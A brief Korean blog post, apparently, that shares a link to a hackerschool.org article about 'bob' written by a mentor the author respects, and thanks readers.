제가 진심으로 존경하는 멘토님들중 한분께서 쓰신 bob에 대한 글입니다.


http://hackerschool.org/Sub_Html/HS_Posting/?uid=44


감사합니다.

+ Recent posts